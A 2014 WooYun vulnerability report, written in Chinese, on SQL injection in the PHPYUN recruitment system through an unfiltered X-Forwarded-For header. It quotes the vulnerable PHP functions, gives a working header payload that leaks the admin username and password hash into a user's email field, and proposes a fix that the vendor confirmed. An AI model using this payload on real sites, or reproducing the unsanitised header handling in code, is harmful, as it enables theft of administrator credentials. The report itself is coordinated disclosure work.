当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069541

漏洞标题:PHPYUN多处SQL注入及快速定位(无视360防御)

相关厂商:php云人才系统

漏洞作者: xfkxfk

提交时间:2014-07-24 15:15

修复时间:2014-10-22 15:16

公开时间:2014-10-22 15:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-24: 细节已通知厂商并且等待厂商处理中
2014-07-24: 厂商已经确认,细节仅向厂商公开
2014-07-27: 细节向第三方安全合作伙伴开放
2014-09-17: 细节向核心白帽子及相关领域专家公开
2014-09-27: 细节向普通白帽子公开
2014-10-07: 细节向实习白帽子公开
2014-10-22: 细节向公众公开

简要描述:

好久没更新漏洞了
看最近小伙伴又在刷phpyun的,phpyun的安全防御应该做的算不错的,怎么还有漏洞?!
然后下了一个看了下,累死了,终于找到一处问题,引发几处SQL注入。
这里快速找出问题,只要很简单就可以修复完成!

详细说明:

其他地方的估计被小伙伴们都挖完了,我们来看看不常被大家关注的地方
在QQ登陆这里
qqconnect.class.php文件
我们来看看qq登陆时,会绑定这个qq的相关信息:

function qqbind_action()
{
if(($_GET['usertype']=='1' || $_GET['usertype']=='2') && $_SESSION['qq']['openid'])
{
$usertype = $_GET['usertype'];
$ip = $this->obj->fun_ip_get();
$time = time();
$salt = substr(uniqid(rand()), -6);
$pass = md5(md5($salt).$salt);
$username = $this->checkuser($_SESSION['qq']['nickname'],$_SESSION['qq']['nickname']);
$userid=$this->obj->DB_insert_once("member","`username`='$username',`password`='$pass',`usertype`='$usertype',`status`='1',`salt`='$salt',`reg_date`='$time',`reg_ip`='$ip',`qqid`='".$_SESSION['qq']['openid']."'");
if(!$userid)
{
$user = $this->obj->DB_select_once("member","`username`='".$username."'","`uid`");
$userid = $user['uid'];
$email = $user['email'];
}


phpyun里面get,post,cookie基本上被过滤的差不多了都
我们来看看这里的$ip = $this->obj->fun_ip_get();
/model/class/action.class.php

function fun_ip_get() {
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) {
$ip = getenv("HTTP_CLIENT_IP");
} else
if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) {
$ip = getenv("HTTP_X_FORWARDED_FOR");
} else
if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) {
$ip = getenv("REMOTE_ADDR");
} else
if (isset ($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) {
$ip = $_SERVER['REMOTE_ADDR'];
} else {
$ip = "unknown";
}
return ($ip);
}


奇怪,这里为什么没有任何防御咧?!!!
phpyun的小伙伴搞什么飞机哦!?
这么明显的XFF注入,怎么没有防御咧?!
好吧。。。
我们来看看还有没有其他地方使用了这个fun_ip_get函数:

111.png


来看看这里的login.class.php文件

function loginsave_action()
{
$username=iconv("utf-8","gbk",$_POST['username']);
if($_COOKIE['uid']!=""&&$_COOKIE['username']!="")
{
$this->ajaxlogin($_POST['comid'],"您已经登陆了,您不是个人用户!");
echo "您已经登录了!";die;
}
......
$time = time();
$ip = $this->obj->fun_ip_get();
$this->obj->DB_update_all("member","`login_ip`='$ip',`login_date`='$time',`login_hits`=`login_hits`+1","`uid`='".$user['uid']."'");
$this->unset_cookie();
......


这里也存在SQL注入的
再来看看register.class.php文件

function regsave_action(){
$_POST=$this->post_trim($_POST);
$_POST['username']=iconv("utf-8","gbk",$_POST['username']);
$_POST['unit_name']=iconv("utf-8","gbk",$_POST['unit_name']);
$_POST['address']=iconv("utf-8","gbk",$_POST['address']);
if($_COOKIE['uid']!=""&&$_COOKIE['username']!=""){
echo "8##您已经登录了!";die;
}
$usertype=$_POST['usertype'];
if(strstr($this->config['code_web'],'注册会员')){
if(md5($_POST['authcode'])!=$_SESSION['authcode']){
echo "8##验证码错误!";die;
}
}
......
$ip = $this->obj->fun_ip_get();
$data['username']=$_POST['username'];
$data['password']=$pass;
$data['moblie']=$_POST['moblie'];
$data['email']=$_POST['email'];
$data['usertype']=$_POST['usertype'];
$data['status']=$satus;
$data['salt']=$salt;
$data['reg_date']=time();
$data['reg_ip']=$ip;
$data['qqid']=$_SESSION['qq']['openid'];
$data['sinaid']=$_SESSION['sinaid'];
$userid=$this->obj->insert_into("member",$data);
......


但是这里的insert_into有过滤,无法注入成功,但是问题点依然存在。
通过上面的方法,找出全部使用此问题函数的地方,就能快速登陆到漏洞所在。
其他的就不一一验证了。

漏洞证明:

我们拿第一处QQ登陆看看
首先设置我们的X-Forwarded-For

X-Forwarded-For:127.0.0.1',`email`=(select concat(username,0x23,password) from phpyun_admin_user limit 1)#


222.png


然后使用QQ登陆
我们来看看SQL执行日志:

333.png


然后登陆成功后用户的email就会被修改

444.png

修复方案:

有两个声明fun_ip_get函数的地方
/include/public.function.php
/model/class/action.class.php
第一个过滤,但是没在上面使用
第二个没过滤,使用在了上面的地方
所以这把第二个地方的函数过滤处理就ok了。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-07-24 15:28

厂商回复:

问题确实存在,感谢提供!

最新状态:

暂无